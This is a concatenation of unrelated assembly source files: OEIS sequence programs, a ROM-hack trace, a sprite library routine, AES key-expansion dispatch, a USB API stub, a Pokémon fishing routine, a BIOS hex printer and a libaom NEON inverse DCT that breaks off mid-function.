,1388002078,1424525796,1461765631,1499730883,1538430912,1577875138,1618073041,1659034161,1700768098,1743284512,1786593123,1830703711,1875626116,1921370238,1967946037,2015363533,2063632806,2112763996,2162767303,2213652987,2265431368,2318112826,2371707801,2426226793,2481680362,2538079128,2595433771,2653755031,2713053708,2773340662,2834626813,2896923141,2960240686,3024590548,3089983887,3156431923,3223945936,3292537266,3362217313,3432997537,3504889458,3577904656,3652054771,3727351503,3803806612,3881431918,3960239301,4040240701,4121448118,4203873612,4287529303,4372427371,4458580056,4545999658,4634698537,4724689113,4815983866,4908595336,5002536123,5097818887,5194456348,5292461286,5391846541,5492625013,5594809662,5698413508,5803449631,5909931171,6017871328,6127283362,6238180593,6350576401,6464484226,6579917568,6696889987,6815415103,6935506596,7057178206,7180443733,7305317037,7431812038,7559942716,7689723111,7821167323,7954289512,8089103898,8225624761,8363866441,8503843338,8645569912,8789060683,8934330231,9081393196,9230264278,9380958237,9533489893,9687874126
mov $3,1
lpb $0,1
add $2,$0
sub $0,1
lpe
lpb $2,1
sub $2,1
add $3,2
lpe
mov $0,3
add $2,$3
lpb $2,1
add $1,$3
sub $2,1
add $3,$0
lpe
|
copyright zengfr site:http://github.com/zengfr/romhack
0017C6 bne $17cc [123p+ 60, enemy+60]
0017CC jsr $f98.w [123p+ 60, enemy+60]
007E9E move.b D0, ($61,A1)
007F2A move.b D5, ($61,A1)
011C78 move.b D0, ($60,A0)
011C7C move.b D0, ($61,A0)
01A74C dbra D7, $1a74a
01A75E dbra D4, $1a75c
01AA74 tst.b ($60,A0) [123p+ A4]
01AA78 beq $1aa84 [123p+ 60]
01AA7E bne $1aa84 [123p+ 60]
copyright zengfr site:http://github.com/zengfr/romhack
|
; struct sp1_ss __CALLEE__ *sp1_CreateSpr_callee(void *drawf, uchar type, uchar height, int graphic, uchar plane)
; 01.2008 aralbrec, Sprite Pack v3.0
; ts2068 hi-res version
PUBLIC sp1_CreateSpr_callee
PUBLIC ASMDISP_SP1_CREATESPR_CALLEE
EXTERN _sp1_struct_ss_prototype, _sp1_struct_cs_prototype
EXTERN _u_malloc, _u_free
.sp1_CreateSpr_callee
pop ix
pop bc
pop hl
pop de
ld a,e
pop de
ld b,e
pop de
push ix
.asmentry
; Create sprite of given height one column wide. Further columns are
; added with successive calls to SP1AddColSpr.
;
; enter : a = height in chars
; b = type: bit 7 = 1 occluding, bit 6 = 1 2 byte definition, bit 4 = 1 clear pixelbuff
; c = plane sprite occupies (0 = closest to viewer)
; de = address of draw function
; hl = graphic definition for column
; uses : all
; exit : no carry and hl=0 if memory allocation failed else hl = struct sp1_ss * and carry set
.SP1CreateSpr
push af
ex af,af
pop af ; a = a' = height
exx
ld hl,0 ; first try to get all the memory we need
push hl ; push a 0 on stack to indicate end of allocated memory blocks
ld b,a ; b = height
.csalloc
push bc ; save height counter
ld hl,22 ; sizeof(struct sp1_cs)
push hl
call _u_malloc
pop bc
jp nc, fail
pop bc
push hl ; stack allocated block
djnz csalloc
ld hl,20 ; sizeof(struct sp1_ss)
push hl
call _u_malloc
pop bc
jp nc, fail
push hl
exx
ex (sp),hl ; stack = graphic pointer
push de ; save de = draw function
push bc ; save b = type, c = plane
; have all necessary memory blocks on stack, hl = & struct sp1_ss
ld de,_sp1_struct_ss_prototype
ex de,hl ; hl = & struct sp1_ss prototype, de = & new struct sp1_ss
ld ixl,e
ld ixh,d ; ix = & struct sp1_ss
ld bc,20 ; sizeof(struct sp1_ss)
ldir ; copy prototype into new struct
; have copied prototype struct sp1_ss, now fill in the rest of the details
ex af,af ; a = height
ld (ix+3),a ; store height
pop bc ; b = type, c = plane
bit 6,b
jr z, onebyte
set 7,(ix+4) ; indicate 2-byte definition
.onebyte
ld a,b ; a = type
and $90
or $40 ; a = type entry for struct sp1_cs
pop de ; de = draw function
pop hl
ex (sp),hl ; stack = graphics ptr, hl = & first struct sp1_cs
push de ; save draw function
ld (ix+15),h ; store ptr to first struct sp1_cs in struct sp1_ss
ld (ix+16),l
; done with struct sp1_ss, now do first struct sp1_cs
ld de,_sp1_struct_cs_prototype
ex de,hl ; hl = & struct sp1_cs prototype, de = & new struct sp1_cs
ld iyl,e
ld iyh,d ; iy = & struct sp1_cs
push bc ; save c = plane
ld bc,22 ; sizeof(struct sp1_cs)
ldir ; copy prototype into new struct
pop bc ; c = plane
; have copied prototype struct sp1_cs, now fill in the rest of the details
ld (iy+4),c ; store plane
ld (iy+5),a ; store type
ld e,iyl
ld d,iyh
ld hl,8
add hl,de
ex de,hl ; de = & struct sp1_cs.draw_code (& embedded code in struct sp1_cs)
pop bc ; bc = draw function
ld hl,-10
add hl,bc ; hl = embedded draw function code
ld bc,10 ; length of draw code
ldir ; copy draw code into struct sp1_cs
ld a,ixl
add a,8
ld (iy+6),a ; store & struct sp1_ss + 8 (& embedded code in struct sp1_ss)
ld a,ixh
adc a,0
ld (iy+7),a
pop hl ; hl = graphics ptr
ld (iy+9),l ; store graphics ptr
ld (iy+10),h
.loop
; ix = struct sp1_ss, iy = last struct sp1_cs added to sprite
pop hl ; hl = & next struct sp1_cs to add
ld a,h
or l
jr z, done
push hl
ld (iy+0),h ; store ptr to next struct sp1_cs
ld (iy+1),l
ld e,iyl
ld d,iyh
ex de,hl ; hl = last struct sp1_cs, de = new struct sp1_cs
ld bc,22 ; sizeof(struct sp1_cs)
ldir ; make copy of last one into new one
ld e,(iy+9)
ld d,(iy+10) ; de = graphics ptr from last struct sp1_cs
pop iy ; iy = new struct sp1_cs
ld (iy+0),c ; place 0 into struct sp1_cs.next_in_spr to indicate
ld (iy+1),c ; this is currently last struct sp1_cs in sprite
ld hl,8 ; offset to next character in sprite graphic def
bit 7,(ix+4)
jr z, onebyte2
ld l,16 ; if 2-byte def, offset is 16 bytes
.onebyte2
add hl,de
ld (iy+9),l ; store correct graphics ptr for this struct sp1_cs
ld (iy+10),h
jp loop
.done
set 5,(iy+5) ; indicate last struct sp1_cs added is in the last row of sprite
ld a,ixl
ld l,a
ld a,ixh
ld h,a
scf ; indicate success
ret
.fail
pop bc
.faillp
pop hl ; hl = allocated memory block
ld a,h
or l
ret z ; if 0 done freeing, ret with nc for failure
push hl
call _u_free ; free the block
pop hl
jp faillp
DEFC ASMDISP_SP1_CREATESPR_CALLEE = # asmentry - sp1_CreateSpr_callee
|
; A170744: Expansion of g.f.: (1+x)/(1-24*x).
; 1,25,600,14400,345600,8294400,199065600,4777574400,114661785600,2751882854400,66045188505600,1585084524134400,38042028579225600,913008685901414400,21912208461633945600,525893003079214694400,12621432073901152665600,302914369773627663974400,7269944874567063935385600,174478676989609534449254400,4187488247750628826782105600,100499717946015091842770534400,2411993230704362204226492825600,57887837536904692901435827814400,1389308100885712629634459867545600,33343394421257103111227036821094400
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
div $3,$2
mul $2,24
lpe
mov $0,$2
div $0,24
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2016 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
default rel
[bits 64]
%include "reg_sizes.asm"
extern aes_keyexp_128_sse
extern aes_keyexp_128_avx
extern aes_keyexp_128_enc_sse
extern aes_keyexp_128_enc_avx
extern aes_keyexp_192_sse
extern aes_keyexp_192_avx
extern aes_keyexp_256_sse
extern aes_keyexp_256_avx
%include "multibinary.asm"
;;;;
; instantiate aes_keyexp_128 interfaces
;;;;
mbin_interface aes_keyexp_128
mbin_dispatch_init aes_keyexp_128, aes_keyexp_128_sse, aes_keyexp_128_avx, aes_keyexp_128_avx
mbin_interface aes_keyexp_128_enc
mbin_dispatch_init aes_keyexp_128_enc, aes_keyexp_128_enc_sse, aes_keyexp_128_enc_avx, aes_keyexp_128_enc_avx
mbin_interface aes_keyexp_192
mbin_dispatch_init aes_keyexp_192, aes_keyexp_192_sse, aes_keyexp_192_avx, aes_keyexp_192_avx
mbin_interface aes_keyexp_256
mbin_dispatch_init aes_keyexp_256, aes_keyexp_256_sse, aes_keyexp_256_avx, aes_keyexp_256_avx
section .text
;;; func core, ver, snum
slversion aes_keyexp_128, 00, 01, 02a1
slversion aes_keyexp_192, 00, 01, 02a2
slversion aes_keyexp_256, 00, 01, 02a3
|
; A242850: 32*n^5 - 32*n^3 + 6*n.
; 0,6,780,6930,30744,96030,241956,526890,1032240,1866294,3168060,5111106,7907400,11811150,17122644,24192090,33423456,45278310,60279660,79015794,102144120,130395006,164575620,205573770,254361744,312000150,379641756,458535330,550029480,655576494,776736180,915179706,1072693440,1251182790,1452676044,1679328210,1933424856,2217385950,2533769700,2885276394,3274752240,3705193206,4179748860,4701726210,5274593544,5901984270,6587700756,7335718170,8150188320,9035443494,9996000300,11036563506,12162029880,13377492030,14688242244,16099776330,17617797456,19248219990,20997173340,22871005794,24876288360,27019818606,29308624500,31749968250,34351350144,37120512390,40065442956,43194379410,46515812760,50038491294,53771424420,57723886506,61905420720,66325842870,70995245244,75924000450,81122765256,86602484430,92374394580,98450027994,104841216480,111560095206,118619106540,126031003890,133808855544,141966048510,150516292356,159473623050,168852406800,178667343894,188933472540,199666172706,210881169960,222594539310,234822709044,247582464570,260890952256,274765683270,289224537420,304285766994
mul $0,2
mov $2,$0
mul $2,$0
sub $2,2
pow $2,2
mov $3,$0
mul $0,$2
sub $0,$3
|
;******************************************************************************
;
; (c) 2006 by BECK IPC GmbH
; http://www.beck-ipc.com
;
;******************************************************************************
;
; Module: usb11.asm
; Function: Dynamic linking of USB-API-Function usbDeviceDeinit()
;
;
;******************************************************************************
;
; $Header$
;
;******************************************************************************
INCLUDE usb_api.def
_TEXT SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:_TEXT, DS:NOTHING, ES:NOTHING, SS:NOTHING
;******************************************************************************
; Prototypes
;******************************************************************************
PUBLIC _usbDeviceDeinit
;******************************************************************************
; usbDeviceDeinit()
;******************************************************************************
_usbDeviceDeinit PROC FAR
LINKER_PATCH ; Will be replaced by dynamic linking code
MOV AX, USB_SERVICE_DEVICE_DEINIT ; AH = 0, AL = Function number
INT USB_SWI
; IP-Register will be adjusted on return from software interrupt so that the
; new code is executed immediately.
_usbDeviceDeinit ENDP
_TEXT ENDS
END
; End of file
|
Fish:
; Using a fishing rod.
; Fish for monsters with rod e in encounter group d.
; Return monster e at level d.
push af
push bc
push hl
ld b, e
call GetFishGroupIndex
ld hl, FishGroups
rept FISHGROUP_DATA_LENGTH
add hl, de
endr
call .Fish
pop hl
pop bc
pop af
ret
.Fish:
; Fish for monsters with rod b from encounter data in FishGroup at hl.
; Return monster e at level d.
call Random
cp [hl]
ld de, 0
ret nc
; Get encounter data by rod:
; 0: Old
; 1: Good
; 2: Super
inc hl
ld e, b
add hl, de
add hl, de
ld a, [hli]
ld h, [hl]
ld l, a
; Compare the encounter chance to select a Pokemon.
call Random
.loop
cp [hl]
jr z, .ok
jr c, .ok
inc hl
inc hl
inc hl
inc hl
jr .loop
.ok
inc hl
.load
ld a, [hli]
ld e, a
ld a, [hli]
ld h, [hl]
ld l, a
call GetPokemonIDFromIndex
ld d, a
and a
ret nz
; Species 0 reads from a time-based encounter table.
; The level byte is repurposed as the index for the new table.
ld hl, TimeFishGroups
rept 6
add hl, de
endr
ld a, [wTimeOfDay]
maskbits NUM_DAYTIMES
cp NITE_F
jr c, .load
inc hl
inc hl
jr .ok
GetFishGroupIndex:
; Return the index of fishgroup d in de.
push hl
ld hl, wDailyFlags1
bit DAILYFLAGS1_FISH_SWARM_F, [hl]
pop hl
jr z, .done
ld a, d
cp FISHGROUP_QWILFISH
jr z, .qwilfish
cp FISHGROUP_REMORAID
jr z, .remoraid
.done
dec d
ld e, d
ld d, 0
ret
.qwilfish
ld a, [wFishingSwarmFlag]
cp FISHSWARM_QWILFISH
jr nz, .done
ld d, FISHGROUP_QWILFISH_SWARM
jr .done
.remoraid
ld a, [wFishingSwarmFlag]
cp FISHSWARM_REMORAID
jr nz, .done
ld d, FISHGROUP_REMORAID_SWARM
jr .done
INCLUDE "data/wild/fish.asm"
|
;
; Protected Mode
;
; print_hex.asm
;
[bits 16]
; Define Function print_hex_bios
; Input in bx
print_hex_bios:
; Save state
push ax
push bx
push cx
; Enable print mode
mov ah, 0x0E
; Print prefix
mov al, '0'
int 0x10
mov al, 'x'
int 0x10
; Initialize cx as counter
; 4 nibbles in 16-bits
mov cx, 4
; Begin loop
print_hex_bios_loop:
; If cx==0 goto end
cmp cx, 0
je print_hex_bios_end
; Save bx again
push bx
; Shift so upper four bits are lower 4 bits
shr bx, 12
; Check to see if ge 10
cmp bx, 10
jge print_hex_bios_alpha
; Byte in bx now < 10
; Set the zero char in al, add bl
mov al, '0'
add al, bl
; Jump to end of loop
jmp print_hex_bios_loop_end
print_hex_bios_alpha:
; Bit is now greater than or equal to 10
; Subtract 10 from bl to get add amount
sub bl, 10
; Move 'A' to al and add bl
mov al, 'A'
add al, bl
print_hex_bios_loop_end:
; Print character
int 0x10
; Restore bx
; Shift to next 4 bits
pop bx
shl bx, 4
; Decrement cx counter
dec cx
; Jump to beginning of loop
jmp print_hex_bios_loop
print_hex_bios_end:
; Restore state
pop cx
pop bx
pop ax
; Jump to calling point
ret |
; A022793: Place where n-th 1 occurs in A023131.
; 1,4,10,19,31,46,63,83,106,132,161,193,227,264,304,347,393,442,493,547,604,664,727,793,861,932,1006,1083,1163,1246,1331,1419,1510,1604,1701,1800,1902,2007,2115,2226,2340,2456,2575,2697,2822,2950
mov $16,$0
mov $18,$0
add $18,1
lpb $18,1
clr $0,16
mov $0,$16
sub $18,1
sub $0,$18
mov $13,$0
mov $15,$0
add $15,1
lpb $15,1
mov $0,$13
sub $15,1
sub $0,$15
mov $9,$0
mov $11,2
lpb $11,1
mov $0,$9
sub $11,1
add $0,$11
sub $0,1
mov $7,$0
mul $0,99
sub $0,1
mov $1,$0
div $1,35
mov $3,$7
add $3,$7
add $1,$3
mov $12,$11
lpb $12,1
mov $10,$1
sub $12,1
lpe
lpe
lpb $9,1
mov $9,0
sub $10,$1
lpe
mov $1,$10
trn $1,3
add $1,1
add $14,$1
lpe
add $17,$14
lpe
mov $1,$17
|
; A225826: Number of binary pattern classes in the (2,n)-rectangular grid: two patterns are in same class if one of them can be obtained by a reflection or 180-degree rotation of the other.
; 1,3,7,24,76,288,1072,4224,16576,66048,262912,1050624,4197376,16785408,67121152,268468224,1073790976,4295098368,17180065792,68720001024,274878693376,1099513724928,4398049656832,17592194433024,70368756760576,281475010265088,1125899957174272,4503599761588224,18014398710808576,72057594574798848,288230376957018112,1152921506754330624,4611686021648613376,18446744082299486208,73786976307723108352,295147905213712564224,1180591620768950910976,4722366483007084167168,18889465931684739284992,75557863726464079233024,302231454904481927397376,1208925819616828197961728,4835703278461815233708032,19342813113842862888321024,77371252455349461320728576,309485009821380253096869888,1237940039285433051457257472,4951760157141661837084852224,19807040628566295504618520576,79228162514264900543497371648,316912650057058194799105933312,1267650600228231653296516890624,5070602400912920983686533349376,20282409603651679431146506027008,81129638414606695206587887255552,324518553658426762811953039540224,1298074214633706961175819610750976,5192296858534827772645684405075968,20769187434139310730294767430664192,83076749736557242632948693570945024,332306998946228969090642893525221376
mov $1,2
pow $1,$0
mod $0,2
mov $2,$1
add $1,1
add $1,$0
mul $1,$2
div $1,6
mul $1,3
add $1,1
add $1,$2
div $1,2
mov $0,$1
|
;
; Copyright (c) 2016, Alliance for Open Media. All rights reserved
;
; This source code is subject to the terms of the BSD 2 Clause License and
; the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License
; was not distributed with this source code in the LICENSE file, you can
; obtain it at www.aomedia.org/license/software. If the Alliance for Open
; Media Patent License 1.0 was not distributed with this source code in the
; PATENTS file, you can obtain it at www.aomedia.org/license/patent.
;
;
;TODO(cd): adjust these constant to be able to use vqdmulh for faster
; dct_const_round_shift(a * b) within butterfly calculations.
cospi_1_64 EQU 16364
cospi_2_64 EQU 16305
cospi_3_64 EQU 16207
cospi_4_64 EQU 16069
cospi_5_64 EQU 15893
cospi_6_64 EQU 15679
cospi_7_64 EQU 15426
cospi_8_64 EQU 15137
cospi_9_64 EQU 14811
cospi_10_64 EQU 14449
cospi_11_64 EQU 14053
cospi_12_64 EQU 13623
cospi_13_64 EQU 13160
cospi_14_64 EQU 12665
cospi_15_64 EQU 12140
cospi_16_64 EQU 11585
cospi_17_64 EQU 11003
cospi_18_64 EQU 10394
cospi_19_64 EQU 9760
cospi_20_64 EQU 9102
cospi_21_64 EQU 8423
cospi_22_64 EQU 7723
cospi_23_64 EQU 7005
cospi_24_64 EQU 6270
cospi_25_64 EQU 5520
cospi_26_64 EQU 4756
cospi_27_64 EQU 3981
cospi_28_64 EQU 3196
cospi_29_64 EQU 2404
cospi_30_64 EQU 1606
cospi_31_64 EQU 804
EXPORT |aom_idct32x32_1024_add_neon|
ARM
REQUIRE8
PRESERVE8
AREA ||.text||, CODE, READONLY, ALIGN=2
AREA Block, CODE, READONLY
; --------------------------------------------------------------------------
; Load from transposed_buffer
; q13 = transposed_buffer[first_offset]
; q14 = transposed_buffer[second_offset]
; for proper address calculation, the last offset used when manipulating
; transposed_buffer must be passed in. use 0 for first use.
MACRO
LOAD_FROM_TRANSPOSED $prev_offset, $first_offset, $second_offset
; address calculation with proper stride and loading
add r0, #($first_offset - $prev_offset )*8*2
vld1.s16 {q14}, [r0]
add r0, #($second_offset - $first_offset)*8*2
vld1.s16 {q13}, [r0]
; (used) two registers (q14, q13)
MEND
; --------------------------------------------------------------------------
; Load from output (used as temporary storage)
; reg1 = output[first_offset]
; reg2 = output[second_offset]
; for proper address calculation, the last offset used when manipulating
; output, whether reading or storing) must be passed in. use 0 for first
; use.
MACRO
LOAD_FROM_OUTPUT $prev_offset, $first_offset, $second_offset, $reg1, $reg2
; address calculation with proper stride and loading
add r1, #($first_offset - $prev_offset )*32*2
vld1.s16 {$reg1}, [r1]
add r1, #($second_offset - $first_offset)*32*2
vld1.s16 {$reg2}, [r1]
; (used) two registers ($reg1, $reg2)
MEND
; --------------------------------------------------------------------------
; Store into output (sometimes as as temporary storage)
; output[first_offset] = reg1
; output[second_offset] = reg2
; for proper address calculation, the last offset used when manipulating
; output, whether reading or storing) must be passed in. use 0 for first
; use.
MACRO
STORE_IN_OUTPUT $prev_offset, $first_offset, $second_offset, $reg1, $reg2
; address calculation with proper stride and storing
add r1, #($first_offset - $prev_offset )*32*2
vst1.16 {$reg1}, [r1]
add r1, #($second_offset - $first_offset)*32*2
vst1.16 {$reg2}, [r1]
MEND
; --------------------------------------------------------------------------
; Combine-add results with current destination content
; q6-q9 contain the results (out[j * 32 + 0-31])
MACRO
STORE_COMBINE_CENTER_RESULTS
; load dest[j * dest_stride + 0-31]
vld1.s16 {d8}, [r10], r2
vld1.s16 {d11}, [r9], r11
vld1.s16 {d9}, [r10]
vld1.s16 {d10}, [r9]
; ROUND_POWER_OF_TWO
vrshr.s16 q7, q7, #6
vrshr.s16 q8, q8, #6
vrshr.s16 q9, q9, #6
vrshr.s16 q6, q6, #6
; add to dest[j * dest_stride + 0-31]
vaddw.u8 q7, q7, d9
vaddw.u8 q8, q8, d10
vaddw.u8 q9, q9, d11
vaddw.u8 q6, q6, d8
; clip pixel
vqmovun.s16 d9, q7
vqmovun.s16 d10, q8
vqmovun.s16 d11, q9
vqmovun.s16 d8, q6
; store back into dest[j * dest_stride + 0-31]
vst1.16 {d9}, [r10], r11
vst1.16 {d10}, [r9], r2
vst1.16 {d8}, [r10]
vst1.16 {d11}, [r9]
; update pointers (by dest_stride * 2)
sub r9, r9, r2, lsl #1
add r10, r10, r2, lsl #1
MEND
; --------------------------------------------------------------------------
; Combine-add results with current destination content
; q6-q9 contain the results (out[j * 32 + 0-31])
MACRO
STORE_COMBINE_CENTER_RESULTS_LAST
; load dest[j * dest_stride + 0-31]
vld1.s16 {d8}, [r10], r2
vld1.s16 {d11}, [r9], r11
vld1.s16 {d9}, [r10]
vld1.s16 {d10}, [r9]
; ROUND_POWER_OF_TWO
vrshr.s16 q7, q7, #6
vrshr.s16 q8, q8, #6
vrshr.s16 q9, q9, #6
vrshr.s16 q6, q6, #6
; add to dest[j * dest_stride + 0-31]
vaddw.u8 q7, q7, d9
vaddw.u8 q8, q8, d10
vaddw.u8 q9, q9, d11
vaddw.u8 q6, q6, d8
; clip pixel
vqmovun.s16 d9, q7
vqmovun.s16 d10, q8
vqmovun.s16 d11, q9
vqmovun.s16 d8, q6
; store back into dest[j * dest_stride + 0-31]
vst1.16 {d9}, [r10], r11
vst1.16 {d10}, [r9], r2
vst1.16 {d8}, [r10]!
vst1.16 {d11}, [r9]!
; update pointers (by dest_stride * 2)
sub r9, r9, r2, lsl #1
add r10, r10, r2, lsl #1
MEND
; --------------------------------------------------------------------------
; Combine-add results with current destination content
; q4-q7 contain the results (out[j * 32 + 0-31])
MACRO
STORE_COMBINE_EXTREME_RESULTS
; load dest[j * dest_stride + 0-31]
vld1.s16 {d4}, [r7], r2
vld1.s16 {d7}, [r6], r11
vld1.s16 {d5}, [r7]
vld1.s16 {d6}, [r6]
; ROUND_POWER_OF_TWO
vrshr.s16 q5, q5, #6
vrshr.s16 q6, q6, #6
vrshr.s16 q7, q7, #6
vrshr.s16 q4, q4, #6
; add to dest[j * dest_stride + 0-31]
vaddw.u8 q5, q5, d5
vaddw.u8 q6, q6, d6
vaddw.u8 q7, q7, d7
vaddw.u8 q4, q4, d4
; clip pixel
vqmovun.s16 d5, q5
vqmovun.s16 d6, q6
vqmovun.s16 d7, q7
vqmovun.s16 d4, q4
; store back into dest[j * dest_stride + 0-31]
vst1.16 {d5}, [r7], r11
vst1.16 {d6}, [r6], r2
vst1.16 {d7}, [r6]
vst1.16 {d4}, [r7]
; update pointers (by dest_stride * 2)
sub r6, r6, r2, lsl #1
add r7, r7, r2, lsl #1
MEND
; --------------------------------------------------------------------------
; Combine-add results with current destination content
; q4-q7 contain the results (out[j * 32 + 0-31])
MACRO
STORE_COMBINE_EXTREME_RESULTS_LAST
; load dest[j * dest_stride + 0-31]
vld1.s16 {d4}, [r7], r2
vld1.s16 {d7}, [r6], r11
vld1.s16 {d5}, [r7]
vld1.s16 {d6}, [r6]
; ROUND_POWER_OF_TWO
vrshr.s16 q5, q5, #6
vrshr.s16 q6, q6, #6
vrshr.s16 q7, q7, #6
vrshr.s16 q4, q4, #6
; add to dest[j * dest_stride + 0-31]
vaddw.u8 q5, q5, d5
vaddw.u8 q6, q6, d6
vaddw.u8 q7, q7, d7
vaddw.u8 q4, q4, d4
; clip pixel
vqmovun.s16 d5, q5
vqmovun.s16 d6, q6
vqmovun.s16 d7, q7
vqmovun.s16 d4, q4
; store back into dest[j * dest_stride + 0-31]
vst1.16 {d5}, [r7], r11
vst1.16 {d6}, [r6], r2
vst1.16 {d7}, [r6]!
vst1.16 {d4}, [r7]!
; update pointers (by dest_stride * 2)
sub r6, r6, r2, lsl #1
add r7, r7, r2, lsl #1
MEND
; --------------------------------------------------------------------------
; Touches q8-q12, q15 (q13-q14 are preserved)
; valid output registers are anything but q8-q11
MACRO
DO_BUTTERFLY $regC, $regD, $regA, $regB, $first_constant, $second_constant, $reg1, $reg2, $reg3, $reg4
; TODO(cd): have special case to re-use constants when they are similar for
; consecutive butterflies
; TODO(cd): have special case when both constants are the same, do the
; additions/subtractions before the multiplies.
; generate the constants
; generate scalar constants
mov r8, #$first_constant & 0xFF00
mov r12, #$second_constant & 0xFF00
add r8, #$first_constant & 0x00FF
add r12, #$second_constant & 0x00FF
; generate vector constants
vdup.16 d30, r8
vdup.16 d31, r12
; (used) two for inputs (regA-regD), one for constants (q15)
; do some multiplications (ordered for maximum latency hiding)
vmull.s16 q8, $regC, d30
vmull.s16 q10, $regA, d31
vmull.s16 q9, $regD, d30
vmull.s16 q11, $regB, d31
vmull.s16 q12, $regC, d31
; (used) five for intermediate (q8-q12), one for constants (q15)
; do some addition/subtractions (to get back two register)
vsub.s32 q8, q8, q10
vsub.s32 q9, q9, q11
; do more multiplications (ordered for maximum latency hiding)
vmull.s16 q10, $regD, d31
vmull.s16 q11, $regA, d30
vmull.s16 q15, $regB, d30
; (used) six for intermediate (q8-q12, q15)
; do more addition/subtractions
vadd.s32 q11, q12, q11
vadd.s32 q10, q10, q15
; (used) four for intermediate (q8-q11)
; dct_const_round_shift
vqrshrn.s32 $reg1, q8, #14
vqrshrn.s32 $reg2, q9, #14
vqrshrn.s32 $reg3, q11, #14
vqrshrn.s32 $reg4, q10, #14
; (used) two for results, well four d registers
MEND
; --------------------------------------------------------------------------
; Touches q8-q12, q15 (q13-q14 are preserved)
; valid output registers are anything but q8-q11
MACRO
DO_BUTTERFLY_STD $first_constant, $second_constant, $reg1, $reg2, $reg3, $reg4
DO_BUTTERFLY d28, d29, d26, d27, $first_constant, $second_constant, $reg1, $reg2, $reg3, $reg4
MEND
; --------------------------------------------------------------------------
;void aom_idct32x32_1024_add_neon(int16_t *input, uint8_t *dest, int dest_stride);
;
; r0 int16_t *input,
; r1 uint8_t *dest,
; r2 int dest_stride)
; loop counters
; r4 bands loop counter
; r5 pass loop counter
; r8 transpose loop counter
; combine-add pointers
; r6 dest + 31 * dest_stride, descending (30, 29, 28, ...)
; r7 dest + 0 * dest_stride, ascending (1, 2, 3, ...)
; r9 dest + 15 * dest_stride, descending (14, 13, 12, ...)
; r10 dest + 16 * dest_stride, ascending (17, 18, 19, ...)
|aom_idct32x32_1024_add_neon| PROC
; This function does one pass of idct32x32 transform.
;
; This is done by transposing the input and then doing a 1d transform on
; columns. In the first pass, the transposed columns are the original
; rows. In the second pass, after the transposition, the colums are the
; original columns.
; The 1d transform is done by looping over bands of eight columns (the
; idct32_bands loop). For each band, the transform input transposition
; is done on demand, one band of four 8x8 matrices at a time. The four
; matrices are transposed by pairs (the idct32_transpose_pair loop).
push {r4-r11}
vpush {d8-d15}
; stack operation
; internal buffer used to transpose 8 lines into before transforming them
; int16_t transpose_buffer[32 * 8];
; at sp + [4096, 4607]
; results of the first pass (transpose and transform rows)
; int16_t pass1[32 * 32];
; at sp + [0, 2047]
; results of the second pass (transpose and transform columns)
; int16_t pass2[32 * 32];
; at sp + [2048, 4095]
sub sp, sp, #512+2048+2048
; r6 = dest + 31 * dest_stride
; r7 = dest + 0 * dest_stride
; r9 = dest + 15 * dest_stride
; r10 = dest + 16 * dest_stride
rsb r6, r2, r2, lsl #5
rsb r9, r2, r2, lsl #4
add r10, r1, r2, lsl #4
mov r7, r1
add r6, r6, r1
add r9, r9, r1
; r11 = -dest_stride
neg r11, r2
; r3 = input
mov r3, r0
; parameters for first pass
; r0 = transpose_buffer[32 * 8]
add r0, sp, #4096
; r1 = pass1[32 * 32]
mov r1, sp
mov r5, #0 ; initialize pass loop counter
idct32_pass_loop
mov r4, #4 ; initialize bands loop counter
idct32_bands_loop
mov r8, #2 ; initialize transpose loop counter
idct32_transpose_pair_loop
; Load two horizontally consecutive 8x8 16bit data matrices. The first one
; into q0-q7 and the second one into q8-q15. There is a stride of 64,
; adjusted to 32 because of the two post-increments.
vld1.s16 {q8}, [r3]!
vld1.s16 {q0}, [r3]!
add r3, #32
vld1.s16 {q9}, [r3]!
vld1.s16 {q1}, [r3]!
add r3, #32
vld1.s16 {q10}, [r3]!
vld1.s16 {q2}, [r3]!
add r3, #32
vld1.s16 {q11}, [r3]!
vld1.s16 {q3}, [r3]!
add r3, #32
vld1.s16 {q12}, [r3]!
vld1.s16 {q4}, [r3]!
add r3, #32
vld1.s16 {q13}, [r3]!
vld1.s16 {q5}, [r3]!
add r3, #32
vld1.s16 {q14}, [r3]!
vld1.s16 {q6}, [r3]!
add r3, #32
vld1.s16 {q15}, [r3]!
vld1.s16 {q7}, [r3]!
; Transpose the two 8x8 16bit data matrices.
vswp d17, d24
vswp d23, d30
vswp d21, d28
vswp d19, d26
vswp d1, d8
vswp d7, d14
vswp d5, d12
vswp d3, d10
vtrn.32 q8, q10
vtrn.32 q9, q11
vtrn.32 q12, q14
vtrn.32 q13, q15
vtrn.32 q0, q2
vtrn.32 q1, q3
vtrn.32 q4, q6
